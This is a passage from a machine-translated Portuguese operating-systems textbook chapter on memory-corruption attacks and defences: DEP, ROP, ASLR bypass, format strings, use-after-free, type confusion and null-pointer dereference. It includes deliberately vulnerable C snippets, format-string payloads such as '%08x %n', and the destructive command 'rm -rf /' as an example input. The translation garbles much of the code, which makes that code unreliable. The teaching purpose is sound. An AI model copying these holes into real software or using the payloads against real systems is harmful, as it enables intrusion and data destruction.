que o invasor seja capaz de sobrescrever ponteiros de função e retornar endereços, mas o fato de 
que ele pode injetar código e executá-lo. Por que não fazer isso 
impossível executar bytes no heap e na pilha?" Se sim, você teve uma epifania. 

No entanto, veremos em breve que as epifanias nem sempre impedem o buffer overflow 
ataques. Ainda assim, a ideia é muito boa. Ataques de injeção de código não funcionarão mais 
se os bytes fornecidos pelo invasor não puderem ser executados como código legítimo. 

As CPUs modernas possuem um recurso popularmente conhecido como bit NX, que 
significa “No-eXecute”. É extremamente útil distinguir entre segmentos de dados (heap, pilha e 
variáveis globais) e o segmento de texto (que contém o 
código). Especificamente, muitos sistemas operacionais modernos tentam garantir que os segmentos 
de dados sejam graváveis, mas não executáveis, e que o segmento de texto seja executável, mas 
não gravável. Esta política é conhecida no OpenBSD como W^X (pronuncia-se "W 
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Exclusivo-OR X") ou "W XOR X"). Significa que a memória é gravável ou executável, mas não 
ambas. MacOS, Linux e Windows possuem esquemas de proteção semelhantes. Um nome 
genérico para esta medida de segurança é DEP (Data Execution Prevention). Alguns 
hardwares não suportam o bit NX. Nesse caso, o DEP ainda pode funcionar, mas a 
implementação será menos eficiente. 

A DEP impede todos os ataques discutidos até agora. O invasor pode injetar tanto 
shellcode no processo quanto desejar. A menos que ela consiga tornar a memória executável, 
não há como executá-la. 


Ataques de reutilização de código 


A DEP impossibilita a execução de código em uma região de dados. Os canários de pilha 
tornam mais difícil (mas não impossível) substituir endereços de retorno e ponteiros de função. 
Infelizmente, este não é o fim da história, porque em algum momento, outra pessoa também 
teve uma epifania. O insight foi mais ou menos o seguinte: "Por que injetar código, quando já 
existe bastante código no binário?" Em outras palavras, em vez de introduzir novo código, o 
invasor simplesmente constrói a funcionalidade necessária a partir das funções existentes e 
instruções nos binários e bibliotecas. Examinaremos primeiro o mais simples desses ataques, 
retornaremos à libc e depois discutiremos a técnica mais complexa, mas muito popular, de 
programação orientada a retorno. 

Suponha que o buffer overflow da Figura 9.18 tenha sobrescrito o endereço de retorno 
da função atual, mas não consiga executar o código fornecido pelo invasor na pilha. A questão 
é: ele pode retornar para outro lugar? Acontece que pode. Quase todos os programas C estão 
vinculados à biblioteca (geralmente compartilhada) libc, que contém funções-chave que a 
maioria dos programas C precisa. Uma dessas funções é system, que recebe uma string como 
argumento e a passa para o shell para execução. Assim, usando a função do sistema, um 
invasor pode executar qualquer programa que desejar. Assim, em vez de executar o shellcode, 
o invasor simplesmente coloca uma string contendo o comando a ser executado na pilha e 
desvia o controle para a função do sistema através do endereço de retorno. 

O ataque, conhecido como return to libc, tem diversas variantes. A função do sistema não 
é o único alvo que pode ser interessante para o invasor. Por exemplo, os invasores também 
podem usar a função mprotect para tornar parte do segmento de dados executável. Além 
disso, em vez de saltar diretamente para a função libc, o ataque pode assumir um nível 
indireto. No Linux, por exemplo, o invasor pode retornar ao PLT (Procedure Linkage Table) . 
O PLT é uma estrutura para facilitar a vinculação dinâmica e contém trechos de código que, 
quando executados, por sua vez chamam as funções da biblioteca vinculadas dinamicamente. 
Retornar a esse código executa indiretamente a função da biblioteca. 


O conceito de ROP (Programação Orientada a Retorno) leva ao extremo a ideia de 
reutilizar o código do programa. Em vez de retornar (aos pontos de entrada das) funções da 
biblioteca, o invasor pode retornar a qualquer instrução no segmento de texto. 

Por exemplo, ela pode fazer o código ficar no meio, e não no início, de uma função. A execução 
simplesmente continuará nesse ponto, uma instrução por vez. 
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tempo. Digamos que depois de algumas instruções, a execução encontra outra instrução 
de retorno. Agora, fazemos novamente a mesma pergunta: para onde podemos voltar? 
Como o invasor tem controle sobre a pilha, ele pode novamente fazer o código retornar 
para qualquer lugar que desejar. Além disso, depois de ter feito isso duas vezes, ela 
também pode fazer isso três vezes, ou quatro, ou dez, etc. 

Assim, o truque da programação orientada a retorno é procurar pequenas sequências 
de código que (a) façam algo útil e (b) terminem com uma instrução de retorno. O invasor 
pode encadear essas sequências por meio dos endereços de retorno que coloca na pilha. 
Os trechos individuais são chamados de gadgets. Normalmente, eles têm funcionalidades 
muito limitadas, como adicionar dois registradores, carregar um valor da memória em um 
registrador ou colocar um valor na pilha. Em outras palavras, o conjunto de gadgets pode 
ser visto como um conjunto de instruções muito estranho que o invasor pode usar para 
construir funcionalidades arbitrárias por meio da manipulação inteligente da pilha. O 
ponteiro da pilha, entretanto, serve como um tipo um pouco bizarro de contador de programa. 


&gadget C 
[o cata | 


Stack 
&gadgetA “..l......, Example gadgets: 


Gadget A: 

- pop operand off the stack into register 1 

- if the value is negative, jump to error handler 
- otherwise return 


(parte da função Z) 


Gadget B: 
- pop operand off the stack into register 2 


- return 


Gadget C: 

- multiply register 1 by 4 

- push register 1 

- add register 2 to the value on the top of the stack 
and store the result in register 2 


Segmento de texto 


instr 2 


Gadget B 
(parte da função Y) 


Gadget A instrf <- 


(parte da função X) 


(a) (b) 
Figura 9-19. Programação orientada ao retorno: vinculando gadgets. 


A Figura 9.19(a) mostra um exemplo de como os gadgets são interligados por 
endereços de retorno na pilha. Os gadgets são pequenos trechos de código que 
terminam com uma instrução de retorno. A instrução de retorno irá retirar o 
endereço para retornar da pilha e continuar a execução lá. Nesse caso, o invasor 
primeiro retorna ao gadget A em alguma função X, depois ao gadget B na função Y, etc. 
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reúna esses gadgets em um binário existente. Como ela mesma não criou os gadgets, às vezes ela tem 
que se contentar com gadgets que talvez sejam menos do que ideais, 
mas bom o suficiente para o trabalho. Por exemplo, a Figura 9.19(b) sugere que o gadget A tem um 
verifique como parte da sequência de instruções. O invasor pode não se importar com a verificação 
de jeito nenhum, mas como está lá, ela terá que aceitá-lo. Para a maioria dos propósitos, talvez seja bom 
o suficiente colocar qualquer número não negativo no registro 1. O próximo gadget 
coloca qualquer valor da pilha no registro 2, e o terceiro multiplica o registro 1 por 4, empurra 
na pilha e adiciona-o ao registro 2. Combinando, esses três dispositivos produzem o 
invasor algo que pode ser usado para calcular o endereço de um elemento em um 
matriz de inteiros. O índice da matriz é fornecido pelo primeiro valor de dados no 
pilha, enquanto o endereço base da matriz deve estar no segundo valor de dados. 
A programação orientada ao retorno pode parecer muito complicada, e talvez seja. 
Mas, como sempre, as pessoas desenvolveram ferramentas para automatizar o máximo possível. 
Os exemplos incluem coletores de gadgets e até compiladores ROP. Hoje em dia, o ROP é 
uma das técnicas de exploração mais importantes utilizadas na natureza. 


Randomização de layout de espaço de endereço 


Aqui está outra ideia para impedir esses ataques. Além de modificar o endereço de retorno 
e injetando algum programa (ROP), o invasor deverá ser capaz de retornar exatamente 
o endereço certo — com ROP nenhum trenó nop é possível. Isso é fácil se os endereços forem fixos, mas 
e se não forem? ASLR (Address Space Layout Random ization) visa randomizar os endereços de 
funções e dados entre cada execução 
do programa. Como resultado, fica muito mais difícil para o invasor explorar o 
sistema. Especificamente, o ASLR muitas vezes randomiza as posições da pilha inicial, a 
heap e as bibliotecas. 
Assim como canários e DEP, a maioria dos sistemas operacionais modernos suportam ASLR tanto 
para o sistema operacional e aplicativos do usuário, embora a quantidade de aleatoriedade 
(a "entropia") difere. A força combinada destes três mecanismos de proteção 
elevou significativamente o padrão para os invasores. Apenas pulando para o código injetado ou até mesmo 
alguma função existente na memória tornou-se um trabalho árduo. Juntos, eles formam um 
importante linha de defesa em sistemas operacionais modernos. O que é especialmente legal 
O que há de mais importante neles é que oferecem proteção a um custo de desempenho bastante razoável. 


Ignorando ASLR 


Mesmo com todas as três defesas ativadas, os invasores ainda conseguem explorar o sistema. 
Existem vários pontos fracos no ASLR que permitem que intrusos o contornem. O 
O primeiro ponto fraco é que o ASLR muitas vezes não é aleatório o suficiente. Muitas implementações de 
ASLR ainda possui determinados códigos em locais fixos. Além disso, mesmo que um segmento seja 
randomizado, a randomização pode ser fraca, de modo que um invasor possa aplicá-lo com força bruta. 
Por exemplo, em sistemas de 32 bits a entropia pode ser limitada porque você não pode 
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randomizar todos os bits da pilha. Para manter a pilha funcionando como uma pilha normal 
que cresce para baixo, aleatorizar os bits menos significativos não é uma opção. 

Um ataque mais importante contra ASLR é formado por divulgações de memória. Nesse 
caso, o invasor usa uma vulnerabilidade não para assumir o controle direto do programa, 
mas sim para vazar informações sobre o layout da memória, que ele pode então usar para 
explorar uma segunda vulnerabilidade. Como um exemplo trivial, considere o seguinte 


código: 
01. void C() 
( 02. int índice; 


03. int primeiro [16] = ( 1,2,3,5,7,11,13,17,19,23,29,31,37,41,43,47); 

04.  printf("Qual número primo entre 1 e 47 você gostaria de ver?"); 05. index 
= lê a entrada do usuário (); 06. 

printf ("Número primo %d é: %d\n", índice, primo[índice]); 07.) 


O código contém uma chamada para ler a entrada do usuário, que não faz parte da biblioteca 
C padrão. Simplesmente assumimos que ele existe e retorna um número inteiro que o 
usuário digita na linha de comando. Também assumimos que não contém erros. Mesmo 
assim, para este código é muito fácil vazar informações. Tudo o que precisamos fazer é 
fornecer um índice maior que 15 ou menor que 0. Como o programa não verifica o índice, 
ele retornará alegremente o valor de qualquer número inteiro na memória. 

O endereço de uma função geralmente é suficiente para um ataque bem-sucedido. A 
razão é que mesmo que a posição em que uma biblioteca é carregada possa ser aleatória, 
o deslocamento relativo para cada função individual a partir desta posição é geralmente 
fixo. Dito de outra forma: se você conhece uma função, conhece todas elas. Mesmo que 
este não seja o caso, com apenas um endereço de código, muitas vezes é fácil encontrar 
muitos outros, como mostrado por Snow et al. (2013). Mais adiante neste capítulo, veremos 
também uma randomização mais refinada. 


Ataques de desvio de fluxo sem controle 


Até agora, consideramos ataques ao fluxo de controle de um programa: modificação de 
ponteiros de função e endereços de retorno. O objetivo sempre foi fazer com que o programa 
executasse novas funcionalidades, mesmo que essa funcionalidade fosse reciclada a partir 
de código já presente no binário. Contudo, esta não é a única possibilidade. Os próprios 
dados também podem ser um alvo interessante para o invasor, como no seguinte trecho de 
pseudocódigo: 


01. void A() 

( 02. int autorizado; 

03. nome do caractere 

[128]; 04. autorizado = verificar credenciais (...); /* o invasor não está autorizado, então 
retorna O */ 05. printf ("Qual é o seu 

nome An"); 06. recebe (nome); 
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07. if (autorizado! = 0) { 08. 


printf ("Bem-vindo %s, aqui estão todos os nossos dados secretosin", 


09. nome) /* ... mostrar dados secretos ... */ 

10.) else 

11. printf ("Desculpe %s, mas você não está autorizado An", nome); 
12.} 13.} 


O código destina-se a fazer uma verificação de autorização. Somente usuários com as 
credenciais corretas têm permissão para ver os dados ultrassecretos. As credenciais de verificação 
da função não são uma função da biblioteca C, mas presumimos que ela existe em algum lugar 
do programa e não contém erros. Agora suponha que o invasor digite 129 caracteres. Como no 
caso anterior, o buffer irá transbordar, mas não modificará o endereço de retorno. Em vez disso, o 
invasor modificou o valor da variável autorizada , atribuindo-lhe um valor diferente de 0. O programa 
não trava e não executa nenhum código do invasor, mas vaza informações secretas para um 
usuário não autorizado. 


Estouros de buffer — a palavra não tão final 


Estouros de buffer são algumas das técnicas de corrupção de memória mais antigas e 
importantes usadas por invasores. Apesar de mais de um quarto de século de incidentes e de uma 
infinidade de defesas (tratámos apenas das mais importantes), parece impossível livrar-nos delas 
(Van der Veen, 2012). Durante todo esse tempo, uma fração substancial de todos os problemas 
de segurança se deve a essa falha, que é difícil de corrigir porque existem muitos programas C 
existentes que não verificam o buffer overflow. 


A corrida armamentista está longe de estar completa. Em todo o mundo, investigadores estão 
a investigar novas defesas. Algumas dessas defesas são voltadas para binários, outras consistem 
em extensão de segurança para compiladores C e C++. Compiladores populares como Visual 
Studio, gcc e LLVM/Clang oferecem “sanitizers” como opções de tempo de compilação para 
impedir uma ampla gama de possíveis ataques. Um dos mais populares é conhecido como 
AddressSanitizer. Ao compilar seu código com -fsanitize=address, o compilador garante que toda 
alocação de memória seja flanqueada por zonas vermelhas: pequenas áreas de memória "inválida". 
Qualquer acesso a uma zona vermelha, por exemplo, como resultado de um buffer overflow, 
levará a uma falha do programa com uma mensagem de erro apropriadamente deprimente. 
Para que isso aconteça, o AddressSanitizer mantém um mapa de bits para indicar para cada byte 
de memória alocada que é válido e para cada byte na zona vermelha que é inválido. 
Sempre que o programa acessa a memória, ele consulta rapidamente o mapa de bits para ver se 
o acesso é permitido. Claro, nada disso é de graça. O mapa de bits e as zonas vermelhas 
aumentam o uso da memória e a inicialização e a consulta do mapa de bits incorrem em uma 
grande penalidade de desempenho. Como desacelerar o código em quase um fator 2 raramente é 
muito popular entre os gerentes de produto, o AddressSanitizer geralmente não é usado no código 
de produção. No entanto, é útil durante o teste. 


Machine Translated by Google 


658 SEGURANÇA INDIVÍDUO. 9 


É importante ressaltar que os invasores também estão aprimorando suas técnicas de exploração. 
Nesta seção, tentamos dar uma visão geral de algumas das técnicas mais importantes, mas existem 
muitas variações da mesma ideia. A única coisa de que temos certeza é que na próxima edição deste 
livro esta seção ainda será relevante (e provavelmente por mais tempo). 


A boa notícia é que a ajuda está a caminho. Muitas dessas explorações se devem ao fato de que 
C e C+ são muito permissivos e não verificam muito, para tornar os programas escritos neles muito 
rápidos. Linguagens mais modernas, como Rust e Go, são muito mais seguras. Sim, os programas 
escritos neles não são tão rápidos quanto os programas C ou C++, mas as pessoas agora estão mais 
dispostas a aceitar algum impacto no desempenho em troca de menos bugs do que há 30 ou 40 anos. 


9.5.2 Ataques de String de Formato 


O próximo ataque também é um ataque de corrupção de memória, mas de natureza muito 
diferente. Alguns programadores não gostam de digitar, embora sejam excelentes digitadores. Por 
que nomear uma contagem de referência variável quando rc obviamente significa a mesma coisa e 
economiza 13 pressionamentos de tecla em cada ocorrência? Essa aversão à digitação às vezes pode 
levar a falhas catastróficas do sistema, conforme descrito abaixo. 

Considere o seguinte fragmento de um programa C que imprime a saudação C tradicional no 
início de um programa: 


char *s="Olá Mundo"; 
printf("%s",s); 


Neste programa, a variável de sequência de caracteres s é declarada e inicializada como uma 
sequência que consiste em "Hello World" e um byte nulo para indicar o final da sequência. A chamada 
à função printf possui dois argumentos, a string de formato "%s", que a instrui a imprimir uma string, e 
o endereço da string. Quando executado, esse trecho de código imprime a string na tela (ou onde quer 
que a saída padrão vá). É correto e à prova de balas. 


Mas suponha que o programador fique preguiçoso e, em vez do acima, digite: 


char *s="Olá Mundo"; 
printf(s); 


Esta chamada para printf é permitida porque printf possui um número variável de argumentos, dos 
quais o primeiro deve ser uma string de formato. Mas uma string que não contém nenhuma informação 
de formatação (como "%s") é legal, então embora a segunda versão não seja uma boa prática de 
programação, ela é permitida e funcionará. O melhor de tudo é que economiza a digitação de cinco 
caracteres, o que é claramente uma grande vitória. 

Seis meses depois, algum outro programador é instruído a modificar o código para primeiro 
perguntar ao usuário seu nome e depois cumprimentá-lo pelo nome. Depois de estudar o código um 
tanto apressadamente, ela o altera um pouco, assim: 
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1. char s[100], g[100] = "Olá"; 2. /* declara s e g; inicializar g */ 
fgets(s, 100, stdin); / * Ilê uma string do teclado em s */ 
3.strcat(g,s); 4. /* concatena s no final de g */ 
imprimirf(g); bs print g */ 


Agora ele lê uma string na variável s e a concatena com a string inicializada 
g para construir a mensagem de saída em g. Ainda funciona. Até agora tudo bem. 

No entanto, um usuário experiente que visse esse código perceberia rapidamente que 
a entrada aceita do teclado não é apenas uma string; é uma string de formato e 
como tal, todas as especificações de formato permitidas pelo printf funcionarão. E se alguém 
forneceu "%08x%08x%08x"? Bem, nesse caso, a função teria que imprimir 
os três próximos parâmetros a serem impressos como valores hexadecimais de 8 dígitos. Mas há 
nenhum outro parâmetro! No entanto, printf não sabe disso. Apenas assumirá que 
os parâmetros estão nos locais habituais. Para um sistema Linux de 32 bits, onde os parâmetros são 
passados através da pilha, ele imprimirá os próximos três valores no 
pilha. Em um sistema Linux de 64 bits, onde os primeiros 6 parâmetros são passados através de 
registradores (e os restantes, se houver, através da pilha), serão impressos 32 bits do conteúdo dos três 
primeiros registradores de parâmetros. Em outras palavras, um invasor é capaz de vazar 
informações possivelmente confidenciais por meio da string de formato. 

Embora a maioria dos indicadores de formatação como "%s" (para imprimir strings) 
e "%d" (para imprimir números inteiros decimais), também formata a saída, alguns são especiais. 
Em particular, "Y%n" não imprime nada. Em vez disso, ele calcula quantos caracteres já deveriam ter sido 
gerados no local em que aparece na string e 
armazena-o no endereço indicado pelo próximo argumento para printf a ser processado. 
Aqui está um exemplo de programa usando "%n": 


1. int principal(int argc, char *argvl]) 


2.4 

3. int i=0; 

4. printf("Olá %nworld\n", &i); /* o %n armazena em i */ 
printf("i=%d\n",i); 1* agora tenho 6 anos */ 

5.6.) 


Figura 9-20. Uma vulnerabilidade de string de formato. 


Quando este programa é compilado e executado, a saída que ele produz na tela é: 


Olá Mundo 


eu=6 


Observe que a variável į foi modificada por uma chamada a printf, algo que não é óbvio para todos. Embora 
esse recurso seja útil uma vez na lua azul, significa que 
imprimir uma string de formato pode fazer com que uma palavra — ou muitas palavras — seja armazenada em 
memória. Foi uma boa ideia incluir esse recurso no printf? Definitivamente não, mas é 
parecia tão útil na época. Muitas vulnerabilidades de software começaram assim. 

Como vimos no exemplo anterior, por acidente o programador que modificou o código permitiu que o 
usuário do programa (inadvertidamente) inserisse um formato 
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corda. Como imprimir uma string de formato pode sobrescrever a memória, agora temos as 
ferramentas necessárias para sobrescrever o endereço de retorno da função printf na pilha e 
pular para outro lugar, por exemplo, para a string de formato recém-inserida. Essa abordagem 
é chamada de ataque de string de formato. 

Executar um ataque de string de formato não é exatamente trivial. Onde será armazenado 
o número de caracteres que a função imprimiu? Pois bem, no endereço do parâmetro que 
segue a própria string de formato, assim como no exemplo mostrado acima. Mas no código 
vulnerável, o invasor poderia fornecer apenas uma string (e nenhum segundo parâmetro para 
printf). Na verdade, o que acontecerá é que a função printf assumirá que existe um segundo 
parâmetro. Suponhamos que no sistema alvo os parâmetros de uma função sejam passados 
através da pilha. Nesse caso, basta pegar o próximo valor da pilha e usá-lo. O invasor também 
pode fazer com que printf use o próximo valor na pilha, por exemplo, fornecendo a seguinte 
string de formato como entrada: 


"%08x %n" 


O "%08x" novamente significa que printf imprimirá o próximo parâmetro como um número 
hexadecimal de 8 dígitos. Portanto, se esse valor for 1, ele imprimirá 0000001. Em outras 
palavras, com essa string de formato, printf simplesmente assumirá que o próximo valor na 
pilha é um número de 32 bits que deve ser impresso, e o valor depois disso é o endereço do 
local onde deverá armazenar a quantidade de caracteres impressos, neste caso 9: 8 para o 
número hexadecimal e 1 para o espaço. Suponha que ele forneça a string de formato: 


"%08x %08x %n" 


Nesse caso, printf armazenará o valor no endereço fornecido pelo terceiro valor após a string 
de formato na pilha e assim por diante. Esta é a chave para tornar o bug de string de formato 
acima uma primitiva de "escrever qualquer coisa em qualquer lugar" para um invasor. 

Os detalhes estão além deste livro, mas a ideia é que o invasor certifique-se de que o endereço 
de destino correto esteja na pilha. Isso é mais fácil do que você imagina. Por exemplo, no 
código vulnerável que apresentamos na Figura 9.20, a string g também está na pilha, em um 
endereço mais alto que o quadro da pilha de printf (veja a Figura 9.21). Suponhamos que a 
string comece como mostrado na Figura 9-21, com "AAAA", seguida por uma sequência de 
"%0x" e terminando com "%0n". O que vai acontecer? Bem, se o invasor acertar o número de 
"%0x", ele terá alcançado a própria string de formato (armazenada no buffer B). Em outras 
palavras, printf usará os primeiros 4 bytes da string de formato como o endereço para gravação. 
Como o valor ASCII do caractere A é 65 (ou 0x41 em hexadecimal), ele escreverá o resultado 
no local 0x41414141, mas o invasor também poderá especificar outros endereços. Claro, ela 
deve se certificar de que o número de caracteres impressos está exatamente correto (porque é 
isso que será escrito no endereço de destino). Na prática, há um pouco mais do que isso, mas 
não muito. Dê uma olhada no artigo sobre ataques de string de formato no Bugtraq para mais 
detalhes: https://seclists.org/ bugtrag/2000/Sep/214. 
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Buffer B 


'e 
E 
x 
& 
Q 
aS 
m 
x 
& 
S 
z 
x 
& 
Q 
EM 


Primeiro parâmetro para printf 
(ponteiro para formatar string) 


Quadro de 
pilha de ar 


Figura 9-21. Um ataque de string de formato. Ao usar exatamente o número correto de %08x, 
o invasor pode usar os primeiros quatro caracteres da sequência de formato como endereço. 


Uma vez que o usuário tenha a capacidade de sobrescrever a memória e forçar um salto para 

o código recém-injetado, o código terá todo o poder e acesso que o programa atacado possui. 

Se o programa for SETUID root, o invasor poderá criar um shell com privilégios de root. 

Além disso, o uso de matrizes de caracteres de tamanho fixo neste exemplo também poderia estar 
sujeito a um ataque de buffer overflow. 

A boa notícia é que as vulnerabilidades das strings de formato são relativamente fáceis de 
detectar e os compiladores populares têm a capacidade de avisar o programador de que seu código 
pode estar vulnerável. Melhor ainda, o especificador de formato "%n" está desabilitado por padrão 
em muitas bibliotecas C modernas. 


9.5.3 Ataques de uso pós-liberação 


Uma terceira técnica de corrupção de memória que é muito popular é conhecida como ataque 
use-after-free. A manifestação mais simples da técnica é bastante fácil de entender, mas gerar um 
exploit pode ser complicado. C e C++ permitem que um programa aloque memória no heap usando 
a chamada malloc , que retorna um ponteiro para um pedaço de memória recém-alocado. 
Posteriormente, quando o programa não precisar mais dele, ele cnama free para liberar memória. A 
variável ainda contém o mesmo ponteiro, mas agora aponta para a memória que já foi liberada. 
Dizemos que o ponteiro está pendurado porque aponta para uma memória que o programa não 
“possui mais”. Coisas ruins 
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acontece quando o programa acidentalmente decide usar a memória. Considere o 
seguinte código que discrimina pessoas (realmente) idosas: 


01. int *A = (int *) malloc(128); 02. int /* aloca espaço para 128 inteiros */ 
ano de nascimento = lê a entrada do usuário (); /* lê um inteiro da entrada padrão */ 
08. if (ano de nascimento < 1900) { 

04. printf("Erro, ano de nascimento deveria ser maior que 1900 \n"); 

05. grátis (A); 


06.) senão ( 

07. 

08. /* faça algo interessante com o array A */ 
09. 

10) 


11. ... /* muitas outras instruções, contendo malloc e free */ 
12. A[0] = ano de nascimento; 


O código está errado. E não apenas por causa da discriminação etária, mas também 
porque na linha 12 pode atribuir um valor a um elemento do array A depois de liberado 
já (na linha 5). O ponteiro A ainda apontará para o mesmo endereço, mas não é 
deveria ser mais usado. Na verdade, a memória pode já ter sido reutilizada 

para outro buffer agora (veja a linha 11). 

A questão é: o que vai acontecer? O armazenamento na linha 12 tentará atualizar a memória que não 
está mais em uso para o array A e pode muito bem modificar uma estrutura de dados diferente que agora 
reside nesta área de memória. Em geral, esta corrupção de memória não é um 
coisa boa, mas fica ainda pior se o invasor conseguir manipular o programa 
de tal forma que coloca um objeto heap específico naquela memória onde o primeiro 
inteiro desse objeto contém, digamos, o nível de autorização do usuário. Isso nem sempre é 
fácil de fazer, mas existem técnicas (conhecidas como heap feng shui) para ajudar os invasores 
retire-o. Feng Shui é a antiga arte chinesa de orientar edifícios, tumbas e 
memória na pilha de maneira auspiciosa. Se o mestre digital do feng shui tiver sucesso, ele agora poderá 
definir o nível de autorização para qualquer valor (bem, até 1900). 


9.5.4 Vulnerabilidades de confusão de tipos 


Uma vulnerabilidade relacionada é causada por confusão de tipos. É principalmente um problema para 
programas C++, mas às vezes também ocorre em outras linguagens, como C. Como você 
talvez você saiba, C++ é uma linguagem orientada a objetos. Os programas criam objetos de determinados 
classes, onde cada classe pode herdar propriedades de uma ou mais classes pai. 
Como este livro já é um livro bastante extenso, não incluiremos um tutorial de C++, mas há 
há muitas centenas disponíveis online. Em vez disso, explicamos as principais questões a partir de um 
alto nível. Considere o seguinte código para uma fábrica de robôs tocadores de piano: 


1. const char *nomei = (char*) "Sam"; 


2. const char *nomeZ = (char*) "Rick"; 
3. 


Machine Translated by Google 


SEC. 9.6 EXPLORANDO SOFTWARE 663 


4. class robot ( /* classe pai */ 5. 

public: 6. 

char name[128]; 7. 

void play piano () (/*...*/] 8. robot 

(const char *str) { /* o construtor também nomeia o robô */ 9. strncpy 
(name, str, 127); 10.) 11.) 12. 


13. class trabalhador robô: public robot ( /* primeira classe filho 

*/14. using robot::robot; 

15. público: 

16. virtual void alterar nome (const char *str) { strncpy (nome, str, 127); } 17.3; 


18. 

19. robô supervisor de classe: robô público ( /* segunda classe filho */ 

20. using robot::robot; 21. 

público: 22. 

rotina de gerenciamento de execução virtual void (char *cmd) { sistema (cmd); ) 
23.); 

24. 

25. void test robot (robot *r) ( /* pode ser chamado com qualquer 

robô */ 26. r->play 


piano(); 27.) 28. 

29. void prompt user for name (robot *r) { /* pode ser chamado apenas com robôs de trabalho 
*/ 30. char *newname = lê o nome da linha de comando (); 31. 

robô trabalhador *w = static cast<robô trabalhador*> (r); /* convertido para robô de 
trabalho */ 32. w->change 

name(newname); 33.) 

34. 

35. int main (int argc, char *argv[]) 36. 

(37. 

robô trabalhador *w = novo robô trabalhador (nome1); 

38. robô supervisor *s = novo robô supervisor (nome?); 39. robô 

de teste (w); 40. 

robô(s) de teste; 41. 

solicitar o nome do usuário (w); /* Tudo bem - o nome será alterado */ 42. solicita 
ao usuário o(s) nome(s); /* Isto irá EXECUTAR o comando */ 43.1 


A fábrica produz dois tipos de robôs. Todos os robôs possuem um nome que é definido 
quando são criados (Linhas 37-38). Os trabalhadores só podem tocar piano, mas os 
supervisores podem adicionalmente realizar uma variedade de rotinas de gestão (Linha 22). Além disso, 
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trabalhadores têm uma função que permite que seus controladores mudem seus nomes (Linha 
16). Os nomes dos robôs supervisores nunca mudam. Como é mostrado nas definições de classe, 
ambos os tipos de robôs derivam do robô pai. Isso é bom porque significa 
eles herdam automaticamente algumas das propriedades - como o buffer de nome e o 
método tocar piano() . Além disso, eles podem adicionar seus próprios novos métodos. Além disso, 
como os robôs trabalhadores e supervisores são ambos especializações de robôs, eles podem 
ser usado sempre que um robô for necessário. Por exemplo, as linhas 49 a 40 mostram que a função 
test robot() pode utilizar robôs trabalhadores e supervisores. Em ambos os casos, será 
fazê-los tocar piano. 

Em outros casos, uma função parece aceitar qualquer tipo de robô, mas deve 
ser chamado apenas com um tipo específico. Por exemplo, quando fazemos uma chamada para 
solicitar nome ()-ao usuário, é muito semelhante ao robô de teste (). O método para 
alterar o nome (chamado na Linha 32) só é implementado para robôs trabalhadores. Para 
por esse motivo, a função converte o argumento da função em um ponteiro para o robô trabalhador 
(usando conversão estática do C++). No entanto, se o prompt de função do usuário para name() for 
acidentalmente chamado com um robô supervisor como argumento, como na Linha 42, bad 
coisas acontecem. Em particular, a chamada na Linha 32 executará o método para o qual 
ele encontra o endereço no mesmo deslocamento onde espera o endereço para 
mude name() para ser. Neste caso, encontra o endereço do gerenciamento de execução - o 
rotina() lá. Assim, em vez de usar a string de entrada para alterar o nome do bot ro, ele executará essa 
string como um comando. O administrador do sistema descobrirá isso assim que um usuário fornecer 
um nome como “rm -rf /". 


9.5.5 Ataques de desreferência de ponteiro nulo 


Algumas centenas de páginas atrás, no Capítulo 3, discutimos o gerenciamento de memória em 
detalhe. Você deve se lembrar de como os sistemas operacionais modernos virtualizam o endereço 
espaços do kernel e dos processos do usuário. Antes de um programa acessar uma memória 
endereço, o MMU traduz esse endereço virtual para um endereço físico por meio de 
as tabelas de páginas. As páginas que não estão mapeadas não podem ser acessadas. Parece lógico 
suponha que o espaço de endereço do kernel e o espaço de endereço de um processo de usuário sejam 
completamente diferente, mas nem sempre é esse o caso. No Linux, por exemplo, o kernel é 
simplesmente mapeado no espaço de endereço de cada processo e sempre que o kernel 
começa a ser executado para lidar com uma chamada do sistema, ele será executado no espaço de endereço do processo. 
Em um sistema de 32 bits, o espaço do usuário ocupa os 3 GB inferiores do espaço de endereço e 
o kernel é o primeiro 1 GB. A razão para esta coabitação é a eficiência — mudança 
entre espaços de endereço é caro. 

Normalmente este arranjo não causa problemas. A situação muda 
quando o invasor pode fazer com que o kernel chame funções no espaço do usuário. Por que o 
kernel faz isso? É claro que não deveria. No entanto, lembre-se que estamos falando 
sobre insetos. Um kernel com bugs pode, em circunstâncias raras e infelizes, desreferenciar 
acidentalmente um ponteiro NULL. Por exemplo, ele pode chamar uma função usando um ponteiro de 
função que ainda não foi inicializado. Nos últimos anos, muitos bugs como este foram 
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foi descoberto no kernel do Linux. Uma desreferência de ponteiro nulo é um negócio desagradável, pois 
normalmente leva a uma falha. É bastante ruim em um processo de usuário, pois trava o programa, mas é ainda 
pior no kernel, porque desativa todo o sistema. 

Às vezes é ainda pior, quando o invasor consegue acionar a desreferência do ponteiro nulo do processo do 
usuário. Nesse caso, ela pode travar o sistema sempre que quiser. No entanto, travar um sistema não lhe dá 


nenhum cumprimento dos seus amigos crackers — eles querem ver uma concha. 


A falha ocorre porque não há código mapeado na página 0. Portanto, o invasor pode usar a função especial 
mmap para remediar isso. Com o mmap, um processo de usuário pode solicitar ao kernel que mapeie a memória 
em um endereço específico. Depois de mapear uma página no endereço 0, o invasor pode escrever shellcode 
nesta página. Por fim, ela aciona a desreferência do ponteiro nulo, fazendo com que o shellcode seja executado 
com privilégios de kernel. 

Cumprimentos por toda parte. 

Em kernels modernos, não é mais possível mapear uma página no endereço 0. Mesmo assim, muitos kernels 
mais antigos ainda são usados livremente. Além disso, o truque também funciona com ponteiros que possuem 
valores diferentes. Com alguns bugs, o invasor pode injetar seu próprio ponteiro no kernel e desreferencia-lo. As 
lições que aprendemos com essa exploração são que as interações kernel-usuário podem surgir em locais 
inesperados e que otimizações para melhorar o desempenho podem vir a assombrá-lo na forma de ataques 
posteriores. 


9.5.6 Ataques de estouro de número inteiro 


Os computadores fazem aritmética inteira em números de comprimento fixo, geralmente 8, 16, 32 ou 64 bits. 
Se a soma de dois números a serem somados ou multiplicados exceder o número inteiro máximo que pode ser 
representado, ocorre um estouro. Os programas C não detectam esse erro; eles apenas armazenam e usam o 
valor incorreto. Em particular, se as variáveis forem inteiros com sinal, então o resultado da adição ou multiplicação 
de dois inteiros positivos pode ser armazenado como um inteiro negativo. Se as variáveis não tiverem sinal, os 
resultados serão positivos, mas poderão ser distorcidos. Por exemplo, considere dois inteiros sem sinal de 16 bits, 
cada um contendo o valor 40.000. Se eles forem multiplicados e o resultado armazenado em outro número inteiro 


